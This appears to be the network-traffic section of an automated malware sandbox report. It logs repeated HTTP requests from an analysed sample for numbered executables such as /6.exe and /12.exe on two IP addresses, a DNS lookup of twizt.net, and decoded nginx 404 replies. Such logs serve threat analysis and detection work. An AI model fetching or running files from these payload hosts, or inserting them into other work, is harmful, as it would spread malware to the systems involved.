Source: global traffic	HTTP traffic detected: GET /6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /8.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /10.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /11.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /12.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18

Source: global traffic	DNS traffic detected: DNS query: twizt.net
Source: global traffic	DNS traffic detected: DNS query: 56.163.245.4.in-addr.arpa

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:11 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:14 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:16 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
